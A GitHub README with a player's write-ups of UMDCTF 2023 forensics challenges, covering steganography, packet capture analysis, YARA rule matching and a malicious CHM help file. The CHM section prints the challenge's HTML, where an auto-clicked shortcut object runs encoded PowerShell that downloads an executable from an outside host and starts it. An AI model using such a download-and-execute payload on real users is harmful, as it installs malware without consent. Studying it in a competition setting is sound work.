Skip to content

sondt1337/UMDCTF_DIGITAL-FORENSICS

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

14 Commits
 
 
 
 
 
 
 
 

Repository files navigation

Writeups - UMDCTF 2023 - Forensics

Information

UMDCTF 2023 starts at 5:00 AM on April 29, 2023, and ends at 5:00 AM on May 1, 2023 (which is not at all suitable for someone like me who loves to sleep in). The challenges in this competition revolve around Pokemon.

The team's ranking at the end of the competition.

Our team ranked 17th with 12,799 points.

It's a bit disappointing that during the competition, I couldn't fully solve the Forensics challenges. By around 5 AM, when the competition ended, I was too exhausted to continue thinking.

In this writeup, I will provide solutions for the challenges in ascending order based on their increasing point values.

Malware Chall Disclaimer

This challenge provided hint to the Doctor Hate Him challenge, and I'll discuss that later. Here, they have given the flag.

UMDCTF{i_understand_that_malware_chall_is_sus}

Mirror Unknown

Here we have received a picture (.png file).

Using Google Images, we found a cipher alphabet chart.

Then we put the words obtained into the format of the flag: UMDCTF{} and add the note: Ancient civilizations didn't believe in whitespace or lowercase

UMDCTF{SINJOHRUINS}

No. 352

hide-n-seek.jpg

Here, there is a mention of password 1 and password 2, which made me think of the steghide tool (pay attention to password 1, which is the name of Pokemon number 352 - written in lowercase).

password 1: kecleon

┌──(kali㉿Spid3r)-[~/Downloads]
└─$ steghide extract -sf hide-n-seek.jpg
Enter passphrase:
wrote extracted data to "kecleon.jpg".

and password 2: timetofindwhatkecleonishiding (In the description of the challenge...)

┌──(kali㉿Spid3r)-[~/Downloads]
└─$ steghide extract -sf kecleon.jpg
Enter passphrase:
wrote extracted data to "flag.txt".

UMDCTF{KECLE0NNNNN}

Fire Type Pokemon Only

In this challenge, we receive a pcapng file. Use Wireshark to read the data.

I have checked both strings and filtered the captured data, but I haven't found anything other than the files retrieved from FTP.

Based on the header of the secret file, we can determine that it is a zip file (the remaining files also have the correct format).

And this zip file requires us to enter a password... to extract a file named wisdom.mp4.

Upon searching for 'pass' in that pcapng file, we found the actual password for this file..

FLAG

YARA Trainer Gym

This is quite an interesting challenge that I had the opportunity to explore :))). The challenge provides us with a website to test: https://yara-trainer-gym.chall.lol

import "elf"
import "math"

rule rule1 {
    condition:
        uint32(0) == 0x464c457f
}

rule rule2 {
    strings:
        $rocket1 = "jessie"
        $rocket2 = "james"
        $rocket3 = "meowth"

    condition:
        all of ($rocket*)
}

rule rule3 {
    meta:
        description = "Number of sections in a binary"
     condition:
        elf.number_of_sections == 40
}

rule rule4 {
    strings:
        $hex1 = {73 6f 6d 65 74 68 69 6e 67 73 6f 6d 65 74 68 69 6e 67 6d 61 6c 77 61 72 65}
        $hex2 = {5445414d524f434b4554}
        $hex3 = {696d20736f207469726564}
        $hex4 = {736c656570792074696d65}

    condition:
        ($hex1 and $hex2) or ($hex3 and $hex4)
}

rule rule5 {
    condition:
        math.entropy(0, filesize) >= 6
}

rule rule6 {
    strings:
        $xor = "aqvkpjmdofazwf{lqjm1310<" xor
    condition:
        $xor
}

rule rule7 {
    condition:
        for any section in elf.sections : (section.name == "poophaha")
}

rule rule8 {
    condition:
        filesize < 2MB and filesize > 1MB
}

Basically, here we have to create a file and upload it to the website (satisfying all 8 rules) in order to obtain the flag.

I approached it by dividing the file into two separate smaller files (each file satisfying a specific set of rules) to avoid complexity during creation.

The first file will satisfy rules 1-4 and 6-7. The second file will satisfy rules 5 and 8 (since generating entropy and file size simultaneously with creating the attributes mentioned above can be a bit challenging).

First file

first rule:

uint32(0) == 0x464c457f

This checks whether the first 32 bits (offset 0) have the value 0x464c457f (indicating whether the file is in the ELF format or not)

To achieve this, it's quite simple. Just add the value 7f 45 4c 46 corresponding to ELF to the file header.

second rule:
    strings:
        $rocket1 = "jessie"
        $rocket2 = "james"
        $rocket3 = "meowth"

    condition:
        all of ($rocket*)

Rule 2 requires the file to contain the strings: jessie, james, and meowth.

--> Convert them to hexadecimal and insert them into the file: 6a 65 73 73 69 65 6a 61 6d 65 73 6d 65 6f 77 74 68

third rule:
    meta:
        description = "Number of sections in a binary"
     condition:
        elf.number_of_sections == 40

This rule checks if the number of sections in the file is exactly 40. I decided to create a file from C to have multiple initial sections.

┌──(root㉿Spid3r-msi)-[/home/spid3r]
└─# echo "int main(){return 0;}" > main.c

┌──(root㉿Spid3r-msi)-[/home/spid3r]
└─# gcc -o main main.c

Check the number of sections in the newly created main file using the command:

┌──(root㉿Spid3r-msi)-[/home/spid3r]
└─# objdump -h main

Then add the sections to the main file using the command (each time adding one section, continuously repeating until the main file has 40 sections).

┌──(root㉿Spid3r-msi)-[/home/spid3r]
└─# objcopy --add-section .mysection=data.txt main
fourth rule
    strings:
        $hex1 = {73 6f 6d 65 74 68 69 6e 67 73 6f 6d 65 74 68 69 6e 67 6d 61 6c 77 61 72 65}
        $hex2 = {5445414d524f434b4554}
        $hex3 = {696d20736f207469726564}
        $hex4 = {736c656570792074696d65}

    condition:
        ($hex1 and $hex2) or ($hex3 and $hex4)

We can choose either hex1 and hex2 or hex3 and hex4 as pairs to insert into the file.

sixth rule
    strings:
        $xor = "aqvkpjmdofazwf{lqjm1310<" xor
    condition:
        $xor

Add the string aqvkpjmdofazwf{lqjm1310< to complete the process: 61 71 76 6b 70 6a 6d 64 6f 66 61 7a 77 66 7b 6c 71 6a 6d 31 33 31 30 3c.

seventh rule
    condition:
        for any section in elf.sections : (section.name == "poophaha")

We need a section named poophaha (Please note that with the 40 sections created earlier, one of them should be named poophaha)

┌──(root㉿Spid3r-msi)-[/home/spid3r]
└─# objcopy --add-section .poophaha=data.txt main

Second file

For the remaining part, since rules 5 and 8 go together, I will create a new file and then merge the two files together.

rule rule5 {
    condition:
        math.entropy(0, filesize) >= 6
}

rule rule8 {
    condition:
        filesize < 2MB and filesize > 1MB
}

Rule 5 requires the entropy of the file to be greater than or equal to 6, while Rule 8 specifies that the file size must be greater than 1MB and less than 2MB.

After creating the first file, its entropy is quite low (less than 1 dot), so I need to create a new file with a higher entropy to compensate.

To achieve an entropy of greater than or equal to 6 (which is quite challenging with files generated from my processes as they often contain repeated bytes), I will create a new file

┌──(root㉿Spid3r-msi)-[/home/spid3r]
└─# openssl rand -out random.bin 2000000

2000000 here represents the size of the file after creation. I chose this number to comply with Rule 8, and the entropy of the file random.bin generated is very high :)

Next, I will combine these two files together. To make it easier with a large number of bytes, I will use CyberChef.

hex of filefile after creation

UMDCTF{Y0ur3_4_r34l_y4r4_m4573r!}

  • Also, in this challenge it is possible to increase entropy using a zip file. The algorithm it uses is suitable for pushing up the entropy level, which corresponds to a higher degree of randomness between bytes.

Telekinetic Warfare

In this challenge, we obtained a GIF file where each frame of the GIF represents a QR code. I wrote a script to separate the QR codes and decode them simultaneously.

Here is my script_6.py

After running the script, we obtained a bunch of base64 strings, which were then converted into a PDF file. You can view the decoded flag in the decode flag.

UMDCTF{wh0_n33d5_k1net1c_w4rfar3_anyw4ys}

Doctors hate him!!

Based on the Malware Chall Disclaimer challenge, we can infer that this challenge is related to malware (perhaps reverse malware?). little timmy and i spent the whole night reversing the file that we suspected to be malicious, and the ending was truly unforgettable.

In this challenge, I received a chm file. According to my research, it is a Compiled HTML Help file. I tried opening it with Microsoft Help, but didn't find much... (except for a button that didn't do anything).

Based on this button, I think it might have originally been a web page...

I used the HelpSmith tool and obtained the following zip file.

Yes, it does contain a real web page... now it's more accurate.

In the source code of the web page, there is a base64-encoded string: VU1EQ1RGezE5OTdfY2FsbGVkXw==.

--> UMDCTF{1997_called_

<PARAM name="Item1" value=',cmd.exe,/c powershell.exe -ExecutionPolicy Bypass -NoLogo -NoProfile -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AZABuAHMALQBzAGUAcgB2AGUAcgAuAG8AbgBsAGkAbgBlADoANgA5ADYAOQAvAGUAeABwAGwAbwByAGUALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7ACAAPQAnAGcAdQByAGwAXwBqAG4AYQBnAF8AZwB1AHIAdgBlACcA'>
<body>
    <!--VU1EQ1RGezE5OTdfY2FsbGVkXw==--> 
    <OBJECT id=shortcut classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"
        width=1 height=1>
        <PARAM name="Command" value="ShortCut">
        <PARAM name="Button" value="Bitmap::shortcut">
        <PARAM name="Item1" value=',cmd.exe,/c powershell.exe -ExecutionPolicy Bypass -NoLogo -NoProfile -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AZABuAHMALQBzAGUAcgB2AGUAcgAuAG8AbgBsAGkAbgBlADoANgA5ADYAOQAvAGUAeABwAGwAbwByAGUALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7ACAAPQAnAGcAdQByAGwAXwBqAG4AYQBnAF8AZwB1AHIAdgBlACcA'>
        <PARAM name="Item2" value="273,1,1">
    </OBJECT>
    <SCRIPT> shortcut.Click(); </SCRIPT>
    <div class="container">
        <div class="text"> <strong>
                <h1>DOCTORS HATE HIM!!</h1>
            </strong>
            <p>Do you suffer from low energy, fatigue, and a general lack of motivation? Did your Pokemon leave you for
                a better trainer? Rocket Corp's Master Ball Serum can help! Our all-natural formula boosts your energy
                levels and helps you feel like a young trainer ready to take on the world again!</p><button>Find out
                more!</button>
        </div>
        <div class="image"> <img src="depressed_pokemon_trainer.png" alt="Pikachu"> </div>
    </div>
</body>

</html>
$env:WEB_REQUEST -Uri http://dns-server:6969/explorer.exe -OutFile explorer.exe; Start-Process explorer.exe

and

powershell.exe -ExecutionPolicy Bypass -NoLogo -NoProfile -EncodedCommand SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AZABuAHMALQBzAGUAcgB2AGUAcgAuAG8AbgBsAGkAbgBlADoANgA5ADYAOQAvAGUAeABwAGwAbwByAGUALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7AA==

Decoding the above base64 string yields Invoke-WebRequest -Uri http://dns-server.online:6969/explore.exe -OutFile explore.exe;

Afterwards, I found another segment.

SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgAGgAdAB0AHAAOgAvAC8AZABuAHMALQBzAGUAcgB2AGUAcgAuAG8AbgBsAGkAbgBlADoANgA5ADYAOQAvAGUAeABwAGwAbwByAGUALgBlAHgAZQAgAC0ATwB1AHQARgBpAGwAZQAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAGUAeABwAGwAbwByAGUALgBlAHgAZQA7ACAAPQAnAGcAdQByAGwAXwBqAG4AYQBnAF8AZwB1AHIAdgBlACcA

Decode base64: Invoke-WebRequest -Uri http://dns-server.online:6969/explore.exe -OutFile explore.exe; Start-Process explore.exe; ='gurl_jnag_gurve'

gurl_jnag_gurve looks quite similar to a flag :)), I used ChatGPT and found out it's ROT13 encoded :))), guessing until death!!!

--> they_want_their

Here comes the one wrong step, one mile astray moment. From those code snippets and the mentioned command, I only interpreted the PowerShell command executing explore.exe in connection with the challenge name Malware Chall Disclaimer. As a result, I misunderstood that I had to dive into researching that malware to trace it down :)), wasting two hours trying to trace and reverse-engineer that explore.exe while also attempting to decipher it before reaching the solution.

I should have checked the website itself to see if there was anything significant.

Thank goodness! If I hadn't discovered this by accident before the competition was over, I might have given up on forensics altogether.

UMDCTF{1997_called_they_want_their_malware_back_bozo}

Conclusion

In this competition, I think the forensics challenges were not too difficult overall (even the newbie-level could be accessed by around 7 out of 8 tasks). However, some tasks were overly reliant on guessing, which made it a bit frustrating for forensic enthusiasts.

Thanks to Hwi#9932 for helping me identify some misconceptions in the YARA Trainer Gym challenge and to everyone in BKSEC for constantly encouraging me to improve my skills in forensic challenges digital.

About

Writeups UMDCTF 2023 - Digital Forensics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages